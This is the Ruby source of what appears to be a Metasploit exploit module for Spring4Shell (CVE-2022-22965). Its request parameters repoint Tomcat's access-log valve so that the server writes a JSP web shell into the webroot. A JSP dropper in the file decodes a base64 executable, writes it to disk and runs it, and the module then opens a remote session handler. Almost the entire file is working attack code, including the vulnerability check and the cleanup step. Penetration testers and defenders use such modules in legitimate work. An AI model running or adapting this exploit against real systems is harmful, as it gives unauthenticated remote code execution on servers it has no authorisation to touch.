303 lines
9.6 KiB
Ruby
303 lines
9.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ManualRanking # It's going to manipulate the Class Loader
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Retry
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Spring Framework Class property RCE (Spring4Shell)',
|
|
'Description' => %q{
|
|
Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions when running on JDK 9 or above
|
|
and specifically packaged as a traditional WAR and deployed in a standalone Tomcat instance are vulnerable
|
|
to remote code execution due to an unsafe data binding used to populate an object from request parameters
|
|
to set a Tomcat specific ClassLoader. By crafting a request to the application and referencing the
|
|
org.apache.catalina.valves.AccessLogValve class through the classLoader with parameters such as the following:
|
|
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp, an unauthenticated attacker can
|
|
gain remote code execution.
|
|
},
|
|
'Author' => [
|
|
'vleminator <vleminator[at]gmail.com>'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['CVE', '2022-22965'],
|
|
['URL', 'https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement'],
|
|
['URL', 'https://github.com/spring-projects/spring-framework/issues/28261'],
|
|
['URL', 'https://tanzu.vmware.com/security/cve-2022-22965']
|
|
],
|
|
'Payload' => {
|
|
'Space' => 5000,
|
|
'DisableNops' => true
|
|
},
|
|
'Targets' => [
|
|
[
|
|
'Java',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
'Platform' => %w[linux win]
|
|
},
|
|
],
|
|
[
|
|
'Linux',
|
|
{
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Platform' => 'linux'
|
|
}
|
|
],
|
|
[
|
|
'Windows',
|
|
{
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Platform' => 'win'
|
|
}
|
|
]
|
|
],
|
|
'DisclosureDate' => '2022-03-31',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'AKA' => ['Spring4Shell', 'SpringShell'],
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8080),
|
|
OptString.new('TARGETURI', [ true, 'The path to the application action', '/app/example/HelloWorld.action']),
|
|
OptString.new('PAYLOAD_PATH', [true, 'Path to write the payload', 'webapps/ROOT']),
|
|
OptEnum.new('HTTP_METHOD', [false, 'HTTP method to use', 'Automatic', ['Automatic', 'GET', 'POST']]),
|
|
]
|
|
)
|
|
register_advanced_options [
|
|
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
|
]
|
|
end
|
|
|
|
def jsp_dropper(file, exe)
|
|
# The sun.misc.BASE64Decoder.decodeBuffer API is no longer available in Java 9.
|
|
dropper = <<~EOS
|
|
<%@ page import=\"java.io.FileOutputStream\" %>
|
|
<%@ page import=\"java.util.Base64\" %>
|
|
<%@ page import=\"java.io.File\" %>
|
|
<%
|
|
FileOutputStream oFile = new FileOutputStream(\"#{file}\", false);
|
|
oFile.write(Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(exe)}\"));
|
|
oFile.flush();
|
|
oFile.close();
|
|
File f = new File(\"#{file}\");
|
|
f.setExecutable(true);
|
|
Runtime.getRuntime().exec(\"#{file}\");
|
|
%>
|
|
EOS
|
|
|
|
dropper
|
|
end
|
|
|
|
def modify_class_loader(method, opts)
|
|
cl_prefix = 'class.module.classLoader'
|
|
|
|
send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path.to_s),
|
|
'version' => '1.1',
|
|
'method' => method,
|
|
'headers' => {
|
|
'c1' => '<%', # %{c1}i replacement in payload
|
|
'c2' => '%>' # %{c2}i replacement in payload
|
|
},
|
|
"vars_#{method == 'GET' ? 'get' : 'post'}" => {
|
|
"#{cl_prefix}.resources.context.parent.pipeline.first.pattern" => opts[:payload],
|
|
"#{cl_prefix}.resources.context.parent.pipeline.first.directory" => opts[:directory],
|
|
"#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix],
|
|
"#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix],
|
|
"#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
|
|
}
|
|
})
|
|
end
|
|
|
|
def check_log_file
|
|
print_status("#{peer} - Waiting for the server to flush the logfile")
|
|
print_status("#{peer} - Executing JSP payload at #{full_uri(@jsp_file)}")
|
|
|
|
succeeded = retry_until_truthy(timeout: 60) do
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(@jsp_file)
|
|
})
|
|
|
|
res&.code == 200 && !res.body.blank?
|
|
end
|
|
|
|
fail_with(Failure::UnexpectedReply, "Seems the payload hasn't been written") unless succeeded
|
|
|
|
print_good("#{peer} - Log file flushed")
|
|
end
|
|
|
|
# Fix the JSP payload to make it valid once is dropped
|
|
# to the log file
|
|
def fix(jsp)
|
|
output = ''
|
|
jsp.each_line do |l|
|
|
if l =~ /<%.*%>/
|
|
output << l
|
|
elsif l =~ /<%/
|
|
next
|
|
elsif l =~ /%>/
|
|
next
|
|
elsif l.chomp.empty?
|
|
next
|
|
else
|
|
output << "<% #{l.chomp} %>"
|
|
end
|
|
end
|
|
output
|
|
end
|
|
|
|
def create_jsp
|
|
jsp = <<~EOS
|
|
<%
|
|
File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{@jsp_file}");
|
|
jsp.delete();
|
|
%>
|
|
#{Faker::Internet.uuid}
|
|
EOS
|
|
if target['Arch'] == ARCH_JAVA
|
|
jsp << fix(payload.encoded)
|
|
else
|
|
payload_exe = generate_payload_exe
|
|
payload_filename = rand_text_alphanumeric(rand(4..7))
|
|
|
|
if target['Platform'] == 'win'
|
|
payload_path = datastore['WritableDir'] + '\\' + payload_filename
|
|
else
|
|
payload_path = datastore['WritableDir'] + '/' + payload_filename
|
|
end
|
|
|
|
jsp << jsp_dropper(payload_path, payload_exe)
|
|
register_files_for_cleanup(payload_path)
|
|
end
|
|
|
|
jsp
|
|
end
|
|
|
|
def check
|
|
@checkcode = _check
|
|
end
|
|
|
|
def _check
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(Rex::Text.rand_text_alpha_lower(4..6))
|
|
)
|
|
|
|
return CheckCode::Unknown('Web server seems unresponsive') unless res
|
|
|
|
if res.headers.key?('Server')
|
|
res.headers['Server'].match(%r{(.*)/([\d|.]+)$})
|
|
else
|
|
res.body.match(%r{Apache\s(.*)/([\d|.]+)})
|
|
end
|
|
|
|
server = Regexp.last_match(1) || nil
|
|
version = Rex::Version.new(Regexp.last_match(2)) || nil
|
|
|
|
return Exploit::CheckCode::Safe('Application does not seem to be running under Tomcat') unless server && server.match(/Tomcat/)
|
|
|
|
vprint_status("Detected #{server} #{version} running")
|
|
|
|
if datastore['HTTP_METHOD'] == 'Automatic'
|
|
# prefer POST over get to keep the vars out of the query string if possible
|
|
methods = %w[POST GET]
|
|
else
|
|
methods = [ datastore['HTTP_METHOD'] ]
|
|
end
|
|
|
|
methods.each do |method|
|
|
vars = "vars_#{method == 'GET' ? 'get' : 'post'}"
|
|
res = send_request_cgi(
|
|
'method' => method,
|
|
'uri' => normalize_uri(datastore['TARGETURI']),
|
|
vars => { 'class.module.classLoader.DefaultAssertionStatus' => Rex::Text.rand_text_alpha_lower(4..6) }
|
|
)
|
|
|
|
# setting the default assertion status to a valid status
|
|
send_request_cgi(
|
|
'method' => method,
|
|
'uri' => normalize_uri(datastore['TARGETURI']),
|
|
vars => { 'class.module.classLoader.DefaultAssertionStatus' => 'true' }
|
|
)
|
|
return Exploit::CheckCode::Appears(details: { method: method }) if res.code == 400
|
|
end
|
|
|
|
Exploit::CheckCode::Safe('The target does not appear to be vulnerable to Spring4Shell')
|
|
end
|
|
|
|
def exploit
|
|
prefix_jsp = rand_text_alphanumeric(rand(3..5))
|
|
date_format = rand_text_numeric(rand(1..4))
|
|
@jsp_file = prefix_jsp + date_format + '.jsp'
|
|
http_method = datastore['HTTP_METHOD']
|
|
if http_method == 'Automatic'
|
|
# if the check was skipped but we need to automatically identify the method, we have to run it here
|
|
@checkcode = check if @checkcode.nil?
|
|
http_method = @checkcode.details[:method]
|
|
fail_with(Failure::BadConfig, 'Failed to automatically identify the HTTP method') if http_method.blank?
|
|
|
|
print_good("Automatically identified HTTP method: #{http_method}")
|
|
end
|
|
|
|
# if the check method ran automatically, add a short delay before continuing with exploitation
|
|
sleep(5) if @checkcode
|
|
|
|
# Prepare the JSP
|
|
print_status("#{peer} - Generating JSP...")
|
|
|
|
# rubocop:disable Style/FormatStringToken
|
|
jsp = create_jsp.gsub('<%', '%{c1}i').gsub('%>', '%{c2}i')
|
|
# rubocop:enable Style/FormatStringToken
|
|
|
|
# Modify the Class Loader
|
|
print_status("#{peer} - Modifying Class Loader...")
|
|
properties = {
|
|
payload: jsp,
|
|
directory: datastore['PAYLOAD_PATH'],
|
|
prefix: prefix_jsp,
|
|
suffix: '.jsp',
|
|
file_date_format: date_format
|
|
}
|
|
res = modify_class_loader(http_method, properties)
|
|
unless res
|
|
fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
|
|
end
|
|
|
|
# No matter what happened, try to 'restore' the Class Loader
|
|
properties = {
|
|
payload: '',
|
|
directory: '',
|
|
prefix: '',
|
|
suffix: '',
|
|
file_date_format: ''
|
|
}
|
|
|
|
modify_class_loader(http_method, properties)
|
|
|
|
check_log_file
|
|
|
|
handler
|
|
end
|
|
end
|